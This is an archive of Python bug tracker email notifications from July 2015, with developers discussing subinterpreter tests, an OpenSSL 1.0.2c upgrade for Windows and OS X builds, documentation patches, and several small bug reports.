<1435883403.8.0.344718256458.issue24553@psf.upfronthosting.co.za> Message-ID: <1435951040.82.0.540299550676.issue24553@psf.upfronthosting.co.za> Eric Snow added the comment: FTR, subinterpreters are already accessible during testing with _testcapi.run_in_subinterp(). * https://hg.python.org/cpython/file/09b223827f63/Modules/_testcapimodule.c#l2615 That function is used here: * Lib/test/test_threading.py * Lib/test/support.__init__.py (run_in_subinterp()) test.support.run_in_subinterp() is used here: * Lib/test/test_atexit.py * Lib/test/test_capi.py * Lib/test/test_threading.py ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 21:21:27 2015 From: report at bugs.python.org (Eric Snow) Date: Fri, 03 Jul 2015 19:21:27 +0000 Subject: [issue24553] improve test coverage for subinterpreters In-Reply-To: <1435883403.8.0.344718256458.issue24553@psf.upfronthosting.co.za> Message-ID: <1435951287.45.0.13271212578.issue24553@psf.upfronthosting.co.za> Eric Snow added the comment: Also, I was mistaken about test_tracemalloc. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 21:22:42 2015 From: report at bugs.python.org (Steve Dower) Date: Fri, 03 Jul 2015 19:22:42 +0000 Subject: [issue24432] Upgrade windows builds to use OpenSSL 1.0.2b In-Reply-To: <1434035125.5.0.134115065072.issue24432@psf.upfronthosting.co.za> Message-ID: <1435951362.05.0.384758503952.issue24432@psf.upfronthosting.co.za> Steve Dower added the comment: I've emailed Benjamin, but I'm not sure when he was getting back. If I'm blocked on this then I guess Zach will have to do it again. I got as far as building and testing for 3.5 without any issues. But if I can't check in to the repository then there's not much else I can do. Preparing the sources was smooth enough (though I added a shebang to prepare_ssl so I could run it directly). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 21:36:20 2015 From: report at bugs.python.org (Zachary Ware) Date: Fri, 03 Jul 2015 19:36:20 +0000 Subject: [issue24432] Upgrade windows builds to use OpenSSL 1.0.2b In-Reply-To: <1434035125.5.0.134115065072.issue24432@psf.upfronthosting.co.za> Message-ID: <1435952180.29.0.471469580355.issue24432@psf.upfronthosting.co.za> Zachary Ware added the comment: Steve: what username did you use? Try svn+ssh://pythondev at svn.python.org/external I'm having to set things up in a new-since-last-time VM to be able to do it, so if that works before I get it done, go for it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 21:45:35 2015 From: report at bugs.python.org (R. David Murray) Date: Fri, 03 Jul 2015 19:45:35 +0000 Subject: [issue24432] Upgrade windows builds to use OpenSSL 1.0.2b In-Reply-To: <1434035125.5.0.134115065072.issue24432@psf.upfronthosting.co.za> Message-ID: <1435952735.33.0.964624987276.issue24432@psf.upfronthosting.co.za> R. David Murray added the comment: Because svn is still on the old infrastructure, it is quite possible Steve's key didn't get added to pythondev's key list. There might be someone else on infrastructure who could add it, if Benjamin isn't available. ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 21:59:09 2015 From: report at bugs.python.org (Antoine Pitrou) Date: Fri, 03 Jul 2015 19:59:09 +0000 Subject: [issue24432] Upgrade windows builds to use OpenSSL 1.0.2b In-Reply-To: <1434035125.5.0.134115065072.issue24432@psf.upfronthosting.co.za> Message-ID: <1435953549.4.0.79758774064.issue24432@psf.upfronthosting.co.za> Antoine Pitrou added the comment: It turns out I have access to the machine: Steve's key is already enabled in the pythondev account. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 22:21:55 2015 From: report at bugs.python.org (Steve Dower) Date: Fri, 03 Jul 2015 20:21:55 +0000 Subject: [issue24432] Upgrade windows builds to use OpenSSL 1.0.2b In-Reply-To: <1434035125.5.0.134115065072.issue24432@psf.upfronthosting.co.za> Message-ID: <1435954915.39.0.709144631353.issue24432@psf.upfronthosting.co.za> Steve Dower added the comment: Yep, Benjamin added it about half an hour ago :) Should have this done fairly soon. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 22:22:41 2015 From: report at bugs.python.org (Zachary Ware) Date: Fri, 03 Jul 2015 20:22:41 +0000 Subject: [issue24432] Upgrade windows builds to use OpenSSL 1.0.2b In-Reply-To: <1434035125.5.0.134115065072.issue24432@psf.upfronthosting.co.za> Message-ID: <1435954961.8.0.122723004938.issue24432@psf.upfronthosting.co.za> Zachary Ware added the comment: Already have the source checked in on svn.python.org ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 22:33:05 2015 From: report at bugs.python.org (Steve Dower) Date: Fri, 03 Jul 2015 20:33:05 +0000 Subject: [issue24432] Upgrade windows builds to use OpenSSL 1.0.2b In-Reply-To: <1434035125.5.0.134115065072.issue24432@psf.upfronthosting.co.za> Message-ID: <1435955585.28.0.557255945316.issue24432@psf.upfronthosting.co.za> Steve Dower added the comment: Just spotted that. How about I kick off 3.5 and 2.7 with the old build files to test and you get 3.6 and 2.7 new? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 22:34:00 2015 From: report at bugs.python.org (Zachary Ware) Date: Fri, 03 Jul 2015 20:34:00 +0000 Subject: [issue24432] Upgrade windows builds to use OpenSSL 1.0.2b In-Reply-To: <1434035125.5.0.134115065072.issue24432@psf.upfronthosting.co.za> Message-ID: <1435955640.57.0.211722474501.issue24432@psf.upfronthosting.co.za> Zachary Ware added the comment: Sure, can do. I already have a test running on 3.4 as well. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 22:34:38 2015 From: report at bugs.python.org (Dan Zemke) Date: Fri, 03 Jul 2015 20:34:38 +0000 Subject: [issue24562] ntpath splitdrive fails on line 161: tuple has no attribute 'replace' Message-ID: <1435955678.33.0.899239486691.issue24562@psf.upfronthosting.co.za> New submission from Dan Zemke: Traceback was: File "\drzblobio.py", line 70, in load full_read_path = os.path.join(read_path, fname) File "C:\Python34\lib\ntpath.py", line 110, in join p_drive, p_path = splitdrive(p) File "C:\Python34\lib\ntpath.py", line 161, in splitdrive normp = p.replace(_get_altsep(p), sep) AttributeError: 'tuple' object has no attribute 'replace' ---------- components: Library (Lib) messages: 246217 nosy: zemke priority: normal severity: normal status: open title: ntpath splitdrive fails on line 161: tuple has no attribute 'replace' type: crash versions: Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 22:36:27 2015 From: report at bugs.python.org (Petr Viktorin) Date: Fri, 03 Jul 2015 20:36:27 +0000 Subject: [issue24458] Documentation for PEP 489 In-Reply-To: <1434452866.14.0.181014085851.issue24458@psf.upfronthosting.co.za> Message-ID: <1435955787.67.0.646083106661.issue24458@psf.upfronthosting.co.za> Petr Viktorin added the comment: Verifying modules to work ith subinterpreters is tricky. What level of assurance do you want? Subinterpreters themselves require that you embed Python, which doesn't lend itself to an easy example. I hope 2.6 makes the situation better. Example code is in xxmodule, which is mentioned. The #3 problem is pretty common, unfortunately: if you define a Database class and a Record class, Database objects can't get to the Record class to instantiate it. If you define a module-level exception, methods of other classes can't easily raise it. I think recommending workarounds/solutions needs some more discussion; I plan to summarize my thoughts on a mailing list soonish. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 22:39:22 2015 From: report at bugs.python.org (R. David Murray) Date: Fri, 03 Jul 2015 20:39:22 +0000 Subject: [issue24562] ntpath splitdrive fails on line 161: tuple has no attribute 'replace' In-Reply-To: <1435955678.33.0.899239486691.issue24562@psf.upfronthosting.co.za> Message-ID: <1435955962.0.0.0744976348151.issue24562@psf.upfronthosting.co.za> R. David Murray added the comment: This error is raised because you called os.path.join incorrectly (with a tuple as one of the arguments). ---------- nosy: +r.david.murray resolution: -> not a bug stage: -> resolved status: open -> closed type: crash -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 22:52:20 2015 From: report at bugs.python.org (Dan Zemke) Date: Fri, 03 Jul 2015 20:52:20 +0000 Subject: [issue24562] ntpath splitdrive fails on line 161: tuple has no attribute 'replace' In-Reply-To: <1435955962.0.0.0744976348151.issue24562@psf.upfronthosting.co.za> Message-ID: <1435956737.38849.YahooMailBasic@web120106.mail.ne1.yahoo.com> Dan Zemke added the comment: Sorry. I just figured that out. Thank you! -------------------------------------------- On Fri, 7/3/15, R. David Murray wrote: Subject: [issue24562] ntpath splitdrive fails on line 161: tuple has no attribute 'replace' To: zemke at yahoo.com Date: Friday, July 3, 2015, 4:39 PM R. David Murray added the comment: This error is raised because you called os.path.join incorrectly (with a tuple as one of the arguments). ---------- nosy: +r.david.murray resolution:? -> not a bug stage:? -> resolved status: open -> closed type: crash -> behavior _______________________________________ Python tracker _______________________________________ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 23:14:53 2015 From: report at bugs.python.org (Zachary Ware) Date: Fri, 03 Jul 2015 21:14:53 +0000 Subject: [issue24432] Upgrade windows builds to use OpenSSL 1.0.2b In-Reply-To: <1434035125.5.0.134115065072.issue24432@psf.upfronthosting.co.za> Message-ID: <1435958093.49.0.211276022522.issue24432@psf.upfronthosting.co.za> Zachary Ware added the comment: It all seems to work (no new failures). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 23:18:10 2015 From: report at bugs.python.org (Steve Dower) Date: Fri, 03 Jul 2015 21:18:10 +0000 Subject: [issue24432] Upgrade windows builds to use OpenSSL 1.0.2b In-Reply-To: <1434035125.5.0.134115065072.issue24432@psf.upfronthosting.co.za> Message-ID: <1435958290.2.0.849105721174.issue24432@psf.upfronthosting.co.za> Steve Dower added the comment: Agreed. Build and obviously related tests are fine. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 23:27:19 2015 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 03 Jul 2015 21:27:19 +0000 Subject: [issue22810] tkinter: "alloc: invalid block:" after askopenfilename In-Reply-To: <1415316246.92.0.943780326563.issue22810@psf.upfronthosting.co.za> Message-ID: <1435958839.07.0.121629789673.issue22810@psf.upfronthosting.co.za> Terry J. Reedy added the comment: On Windows 7, no problem on either 2.7.10 or 3.5.0b2 (running from Command Prompt so would see message is there were one). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 23:27:32 2015 From: report at bugs.python.org (Zachary Ware) Date: Fri, 03 Jul 2015 21:27:32 +0000 Subject: [issue24432] Upgrade windows builds to use OpenSSL 1.0.2c In-Reply-To: <1434035125.5.0.134115065072.issue24432@psf.upfronthosting.co.za> Message-ID: <1435958852.1.0.00195507202108.issue24432@psf.upfronthosting.co.za> Zachary Ware added the comment: Would you like to check it in on all branches? I'm about to be separated from my computer for a while. ---------- title: Upgrade windows builds to use OpenSSL 1.0.2b -> Upgrade windows builds to use OpenSSL 1.0.2c _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jul 3 23:55:29 2015 From: report at bugs.python.org (Steve Dower) Date: Fri, 03 Jul 2015 21:55:29 +0000 Subject: [issue24432] Upgrade windows builds to use OpenSSL 1.0.2c In-Reply-To: <1434035125.5.0.134115065072.issue24432@psf.upfronthosting.co.za> Message-ID: <1435960529.83.0.686756593892.issue24432@psf.upfronthosting.co.za> Steve Dower added the comment: Sure, I'll get it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 00:12:16 2015 From: report at bugs.python.org (A.M. Kuchling) Date: Fri, 03 Jul 2015 22:12:16 +0000 Subject: [issue11582] Boilerplate code replaced in Python/ceval.c In-Reply-To: <1300345445.4.0.401745683259.issue11582@psf.upfronthosting.co.za> Message-ID: <1435961536.05.0.0950100668724.issue11582@psf.upfronthosting.co.za> A.M. Kuchling added the comment: Closing, because neither Amaury nor Raymond likes the idea. Thanks for your work, anyway! ---------- nosy: +akuchling resolution: -> rejected stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 00:18:01 2015 From: report at bugs.python.org (Roundup Robot) Date: Fri, 03 Jul 2015 22:18:01 +0000 Subject: [issue24432] Upgrade windows builds to use OpenSSL 1.0.2c In-Reply-To: <1434035125.5.0.134115065072.issue24432@psf.upfronthosting.co.za> Message-ID: <20150703221758.9720.75970@psf.io> Roundup Robot added the comment: New changeset 6fd63f0a0026 by Steve Dower in branch '3.4': Issue #24432: Update Windows builds to use OpenSSL 1.0.2c. https://hg.python.org/cpython/rev/6fd63f0a0026 New changeset ebc8559b2e57 by Steve Dower in branch '3.5': Issue #24432: Update Windows builds to use OpenSSL 1.0.2c. https://hg.python.org/cpython/rev/ebc8559b2e57 New changeset 91c5097bca2b by Steve Dower in branch 'default': Issue #24432: Update Windows builds to use OpenSSL 1.0.2c. https://hg.python.org/cpython/rev/91c5097bca2b ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 00:19:53 2015 From: report at bugs.python.org (Roundup Robot) Date: Fri, 03 Jul 2015 22:19:53 +0000 Subject: [issue24432] Upgrade windows builds to use OpenSSL 1.0.2c In-Reply-To: <1434035125.5.0.134115065072.issue24432@psf.upfronthosting.co.za> Message-ID: <20150703221951.32358.68000@psf.io> Roundup Robot added the comment: New changeset c49d2ea5e48a by Steve Dower in branch '2.7': Issue #24432: Update Windows builds to use OpenSSL 1.0.2c. https://hg.python.org/cpython/rev/c49d2ea5e48a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 00:28:01 2015 From: report at bugs.python.org (Steve Dower) Date: Fri, 03 Jul 2015 22:28:01 +0000 Subject: [issue24432] Upgrade windows builds to use OpenSSL 1.0.2c In-Reply-To: <1434035125.5.0.134115065072.issue24432@psf.upfronthosting.co.za> Message-ID: <1435962481.85.0.0532586222312.issue24432@psf.upfronthosting.co.za> Changes by Steve Dower : ---------- resolution: -> fixed stage: needs patch -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 00:43:52 2015 From: report at bugs.python.org (Roch Guillot) Date: Fri, 03 Jul 2015 22:43:52 +0000 Subject: [issue22810] tkinter: "alloc: invalid block:" after askopenfilename In-Reply-To: <1415316246.92.0.943780326563.issue22810@psf.upfronthosting.co.za> Message-ID: <1435963432.91.0.509087056441.issue22810@psf.upfronthosting.co.za> Changes by Roch Guillot : ---------- type: behavior -> enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 00:50:23 2015 From: report at bugs.python.org (Ben Darnell) Date: Fri, 03 Jul 2015 22:50:23 +0000 Subject: [issue24400] Awaitable ABC incompatible with functools.singledispatch In-Reply-To: <1433653613.86.0.241600441921.issue24400@psf.upfronthosting.co.za> Message-ID: <1435963823.96.0.0100655910794.issue24400@psf.upfronthosting.co.za> Ben Darnell added the comment: I don't think operator.getfuture() is possible because there are multiple ways of turning an awaitable into a Future. asyncio has one way; tornado has another. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 01:07:24 2015 From: report at bugs.python.org (Nick Coghlan) Date: Fri, 03 Jul 2015 23:07:24 +0000 Subject: [issue24400] Awaitable ABC incompatible with functools.singledispatch In-Reply-To: <1435963823.96.0.0100655910794.issue24400@psf.upfronthosting.co.za> Message-ID: Nick Coghlan added the comment: My hypothetical "operator.getfuture()" would be a functional spelling of "what an await expression does to retrieve a future from an awaitable object". Whether that's actually useful is an open question, hence deferring the idea to 3.6 at the earliest :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 01:10:28 2015 From: report at bugs.python.org (Roundup Robot) Date: Fri, 03 Jul 2015 23:10:28 +0000 Subject: [issue24525] [doc] missing word In-Reply-To: <1435567711.2.0.215374180363.issue24525@psf.upfronthosting.co.za> Message-ID: <20150703231025.30901.50380@psf.io> Roundup Robot added the comment: New changeset 25985b0c4dbf by Terry Jan Reedy in branch '2.7': Issue #24525: Add missing word. Patch by Vincent Legoll. https://hg.python.org/cpython/rev/25985b0c4dbf ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 01:11:43 2015 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 03 Jul 2015 23:11:43 +0000 Subject: [issue24525] [doc] missing word In-Reply-To: <1435567711.2.0.215374180363.issue24525@psf.upfronthosting.co.za> Message-ID: <1435965103.44.0.122622659655.issue24525@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Fix is to 2.7 specific note about not using stuff not exposed in 3.x. ---------- nosy: +terry.reedy resolution: -> fixed stage: -> resolved status: open -> closed type: enhancement -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 01:38:39 2015 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 03 Jul 2015 23:38:39 +0000 Subject: [issue24563] Encoding declaration: doc supported encodings Message-ID: <1435966719.35.0.908058462942.issue24563@psf.upfronthosting.co.za> New submission from Terry J. Reedy: The source .rst for has at the end: .. XXX there should be a list of supported encodings. While I believe this is impractical, there could be a link to https://docs.python.org/3/library/codecs.html#standard-encodings -- and possible subsubsections that follow. Are the latter supported for Python code? ---------- assignee: docs at python components: Documentation messages: 246233 nosy: docs at python, terry.reedy priority: normal severity: normal stage: needs patch status: open title: Encoding declaration: doc supported encodings type: enhancement versions: Python 2.7, Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 01:40:36 2015 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 03 Jul 2015 23:40:36 +0000 Subject: [issue24531] please document that no code preceding encoding declaration is allowed In-Reply-To: <1435592545.23.0.229313024646.issue24531@psf.upfronthosting.co.za> Message-ID: <1435966836.7.0.173053180143.issue24531@psf.upfronthosting.co.za> Terry J. Reedy added the comment: I moved the existing comment-only sentence to the first paragraph, where I strongly believe it belongs, and added a second about the first. (PS I opened #24563 to address the xxx visible in the patch.) ---------- keywords: +patch nosy: +terry.reedy stage: needs patch -> commit review Added file: http://bugs.python.org/file39855/encode-declare.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 02:48:06 2015 From: report at bugs.python.org (R. David Murray) Date: Sat, 04 Jul 2015 00:48:06 +0000 Subject: [issue11245] Implementation of IMAP IDLE in imaplib? In-Reply-To: <1298061371.03.0.0638918089315.issue11245@psf.upfronthosting.co.za> Message-ID: <1435970886.4.0.997571736678.issue11245@psf.upfronthosting.co.za> R. David Murray added the comment: Thanks, Piers! Sorry for dropping off the map on this, I've been busy. I'll post to python-dev about this and see how the community would like to proceed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 03:08:46 2015 From: report at bugs.python.org (R. David Murray) Date: Sat, 04 Jul 2015 01:08:46 +0000 Subject: [issue11245] Implementation of IMAP IDLE in imaplib? In-Reply-To: <1298061371.03.0.0638918089315.issue11245@psf.upfronthosting.co.za> Message-ID: <1435972126.75.0.143605941466.issue11245@psf.upfronthosting.co.za> R. David Murray added the comment: By the way, the pierslauder id points to 'pierslauder at users.sourceforge.net'. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 03:22:27 2015 From: report at bugs.python.org (Eric Snow) Date: Sat, 04 Jul 2015 01:22:27 +0000 Subject: [issue24553] improve test coverage for subinterpreters In-Reply-To: <1435883403.8.0.344718256458.issue24553@psf.upfronthosting.co.za> Message-ID: <1435972947.71.0.153710578294.issue24553@psf.upfronthosting.co.za> Eric Snow added the comment: Now I'm wondering what further test coverage we really need... ---------- status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 04:49:41 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 04 Jul 2015 02:49:41 +0000 Subject: [issue22810] tkinter: "alloc: invalid block:" after askopenfilename In-Reply-To: <1415316246.92.0.943780326563.issue22810@psf.upfronthosting.co.za> Message-ID: <1435978181.31.0.553696644335.issue22810@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- type: enhancement -> crash _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 06:10:16 2015 From: report at bugs.python.org (Nick Coghlan) Date: Sat, 04 Jul 2015 04:10:16 +0000 Subject: [issue24553] improve test coverage for subinterpreters In-Reply-To: <1435883403.8.0.344718256458.issue24553@psf.upfronthosting.co.za> Message-ID: <1435983016.98.0.770320974198.issue24553@psf.upfronthosting.co.za> Nick Coghlan added the comment: Sorry about the misleading reference to tracemalloc in my email - it was actually test_atexit I was debugging in the PEP 432 branch. tracemalloc only came up in that context because test.support.run_in_subinterp() automatically skips subinterpreter tests when tracemalloc is running. From the function comments: # Issue #10915, #15751: PyGILState_*() functions don't work with # sub-interpreters, the tracemalloc module uses these functions internally As far as test coverage goes, what I would actually like to do is to run regrtest itself in a subinterpreter, and blacklist tests until it passes. This would double the length of a test run, so hiding it behind a resource option would probably be a good idea. ---------- nosy: +grahamd status: pending -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 06:37:46 2015 From: report at bugs.python.org (Mark Mikofski) Date: Sat, 04 Jul 2015 04:37:46 +0000 Subject: [issue14458] Non-admin installation fails In-Reply-To: <1333198651.39.0.792037554974.issue14458@psf.upfronthosting.co.za> Message-ID: <1435984666.65.0.465670507349.issue14458@psf.upfronthosting.co.za> Mark Mikofski added the comment: Anyone still following this issue, as I posted in issue22516, there is an embeddable zipped version of Python-2.7.X built from source using the PCbuild batch files and vc90 toolset for both x86 and x64 called Python Bootstrap: http://breakingbytes.alwaysdata.net/PythonBootstrap/ The redistributable msvcr90.dll's are all bundled side-by-side privately with python27.dll as recommended by Windows and does not violate any licensing eulas. The build passes all tests and pythonw.exe works perfectly. Try starting python27/Scripts/idle.bat. It ... just ... works ... No ... Admin ... rights ... required ... just ... unzip ... use ... FYI: doing an "administrative install" using msiexec /a (https://www.python.org/download/releases/2.4/msi/) just extracts the msi archive and creates a smaller msi package used to do a local install later. This means that your python launcher and shared library are depending on whatever redistributables you have. You can't install the merge modules into winsxs w/o elevated rights so ... Also look at Python-3.5 for an embeddable zip file (no admin rights required) altho I think it requires vcredist for vc100 freely available from microsoft. ---------- nosy: +bwanamarko _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 08:47:41 2015 From: report at bugs.python.org (Roundup Robot) Date: Sat, 04 Jul 2015 06:47:41 +0000 Subject: [issue24432] Upgrade windows builds to use OpenSSL 1.0.2c In-Reply-To: <1434035125.5.0.134115065072.issue24432@psf.upfronthosting.co.za> Message-ID: <20150704064737.24661.11061@psf.io> Roundup Robot added the comment: New changeset 695bbbaf2478 by Ned Deily in branch '2.7': Issue #24432: Update OS X 10.5+ installer builds to use OpenSSL 1.0.2c. https://hg.python.org/cpython/rev/695bbbaf2478 New changeset 4b52fce3753d by Ned Deily in branch '3.4': Issue #24432: Update OS X 10.5+ installer builds to use OpenSSL 1.0.2c. https://hg.python.org/cpython/rev/4b52fce3753d New changeset bbf4e35ed69e by Ned Deily in branch '3.5': Issue #24432: Update OS X 10.5+ installer builds to use OpenSSL 1.0.2c. https://hg.python.org/cpython/rev/bbf4e35ed69e New changeset fbb9ac8aebfd by Ned Deily in branch 'default': Issue #24432: merge from 3.5 https://hg.python.org/cpython/rev/fbb9ac8aebfd ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 09:23:02 2015 From: report at bugs.python.org (Angad Singh) Date: Sat, 04 Jul 2015 07:23:02 +0000 Subject: [issue13456] Providing a custom HTTPResponse class to HTTPConnection In-Reply-To: <1321988533.96.0.72454390842.issue13456@psf.upfronthosting.co.za> Message-ID: <1435994582.81.0.64278023249.issue13456@psf.upfronthosting.co.za> Angad Singh added the comment: I have a patch for this. I have also documented some of the non-documented attributes of HTTPConnection class. ---------- keywords: +patch nosy: +angad Added file: http://bugs.python.org/file39856/response_class.http.client.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 09:55:30 2015 From: report at bugs.python.org (Angad Singh) Date: Sat, 04 Jul 2015 07:55:30 +0000 Subject: [issue8519] doc: termios and ioctl reference links In-Reply-To: <1272125391.54.0.0119716465224.issue8519@psf.upfronthosting.co.za> Message-ID: <1435996530.61.0.771215731851.issue8519@psf.upfronthosting.co.za> Angad Singh added the comment: Created a patch for this. Added POSIX links for fcntl, ioctl and termios. Let me know if I am missing anything. ---------- nosy: +angad Added file: http://bugs.python.org/file39857/posix_specification_links_fcntl_ioctl_termios.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 10:27:23 2015 From: report at bugs.python.org (Angad Singh) Date: Sat, 04 Jul 2015 08:27:23 +0000 Subject: [issue24548] Broken link in the unittest documentation In-Reply-To: <1435777710.4.0.98470331082.issue24548@psf.upfronthosting.co.za> Message-ID: <1435998443.5.0.135266751753.issue24548@psf.upfronthosting.co.za> Angad Singh added the comment: Internet Archive (with image) - https://web.archive.org/web/20150315073817/http://www.xprogramming.com/testfram.htm ---------- nosy: +angad _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 10:54:06 2015 From: report at bugs.python.org (Ned Deily) Date: Sat, 04 Jul 2015 08:54:06 +0000 Subject: [issue24502] OS X 2.7 package has zeros for version numbers in sub-packages In-Reply-To: <1435173121.58.0.153613185242.issue24502@psf.upfronthosting.co.za> Message-ID: <1436000046.45.0.97032911351.issue24502@psf.upfronthosting.co.za> Ned Deily added the comment: Right, that would be a good reason! I seem to recall that, when I initially tested flat-package building and installation, there were problems with pkgs not getting properly installed when version was set, possibly due to confusion between installs and upgrades. And that might have been due in part to our abuse of some of the Info.plist keys, in particular, CFBundleVersion, at least for pre-releases ('3.5.0b2'). I'd like to move away from installer packages altogether but that will have to wait until 3.6. We may be able to get a proper version number through pkgutil for current releases but it will require a fair amount of time to explore and thoroughly test. (Some automated install tests would make it a lot easier.) ---------- stage: -> needs patch versions: +Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 10:56:35 2015 From: report at bugs.python.org (Ned Deily) Date: Sat, 04 Jul 2015 08:56:35 +0000 Subject: [issue24502] OS X installer provides flat sub-packages with no version numbers In-Reply-To: <1435173121.58.0.153613185242.issue24502@psf.upfronthosting.co.za> Message-ID: <1436000195.39.0.649375025171.issue24502@psf.upfronthosting.co.za> Changes by Ned Deily : ---------- components: -Installation title: OS X 2.7 package has zeros for version numbers in sub-packages -> OS X installer provides flat sub-packages with no version numbers _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 10:58:39 2015 From: report at bugs.python.org (Angad Singh) Date: Sat, 04 Jul 2015 08:58:39 +0000 Subject: [issue24256] threading.Timer is not a class In-Reply-To: <1432189781.3.0.318420798275.issue24256@psf.upfronthosting.co.za> Message-ID: <1436000319.15.0.526565752563.issue24256@psf.upfronthosting.co.za> Angad Singh added the comment: Taking a stab at this. Attached patch. ---------- keywords: +patch nosy: +angad Added file: http://bugs.python.org/file39858/function_threading_timer.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 11:01:14 2015 From: report at bugs.python.org (Ned Deily) Date: Sat, 04 Jul 2015 09:01:14 +0000 Subject: [issue23969] please set a SOABI for MacOSX In-Reply-To: <1429125133.46.0.136772675069.issue23969@psf.upfronthosting.co.za> Message-ID: <1436000474.73.0.726313326384.issue23969@psf.upfronthosting.co.za> Ned Deily added the comment: I think we can close this as finished. The only remaining item I can think of is to add something to the 3.5 What's New document but that should be done as part of Issue22980 for all affected platforms. ---------- status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 11:04:07 2015 From: report at bugs.python.org (Ned Deily) Date: Sat, 04 Jul 2015 09:04:07 +0000 Subject: [issue22980] C extension naming doesn't take bitness into account In-Reply-To: <1417530925.56.0.55888060474.issue22980@psf.upfronthosting.co.za> Message-ID: <1436000647.43.0.885928850769.issue22980@psf.upfronthosting.co.za> Ned Deily added the comment: I think we should add something to the 3.5 "What's New" document about these changes and which platforms are affected. Otherwise is there anything left to do before closing? ---------- priority: normal -> deferred blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 12:32:39 2015 From: report at bugs.python.org (Berker Peksag) Date: Sat, 04 Jul 2015 10:32:39 +0000 Subject: [issue13456] Providing a custom HTTPResponse class to HTTPConnection In-Reply-To: <1321988533.96.0.72454390842.issue13456@psf.upfronthosting.co.za> Message-ID: <1436005959.86.0.496208872362.issue13456@psf.upfronthosting.co.za> Changes by Berker Peksag : ---------- nosy: +berker.peksag stage: -> patch review type: -> enhancement versions: +Python 3.4, Python 3.5, Python 3.6 -Python 3.2, Python 3.3 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 13:00:02 2015 From: report at bugs.python.org (Drekin) Date: Sat, 04 Jul 2015 11:00:02 +0000 Subject: [issue24539] StreamReaderProtocol.eof_received() should return True to keep the transport open In-Reply-To: <1435668886.87.0.254771488213.issue24539@psf.upfronthosting.co.za> Message-ID: <1436007602.57.0.339897698487.issue24539@psf.upfronthosting.co.za> Drekin added the comment: I've also been hit by this issue, see https://mail.python.org/pipermail/python-list/2015-July/693496.html and the following thread. I've spent some time trying to find where the problem is, and just after I found out it's about eof_received() returning None, I could found this issue. :-) ---------- nosy: +Drekin _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 4 13:17:22 2015 From: report at bugs.python.org (Vivek) Date: Sat, 04 Jul 2015 11:17:22 +0000 Subject: [issue24548] Broken link in the unittest documentation In-Reply-To: <1435777710.4.0.98470331082.issue24548@psf.upfronthosting.co.za> Message-ID: <1436008642.36.0.36366831998.issue24548@psf.upfronthosting.co.za> Vivek added the comment: Updated the broken link to the new link given by angad. Attached is a patch for the same. Please review. ---------- keywords: +patch 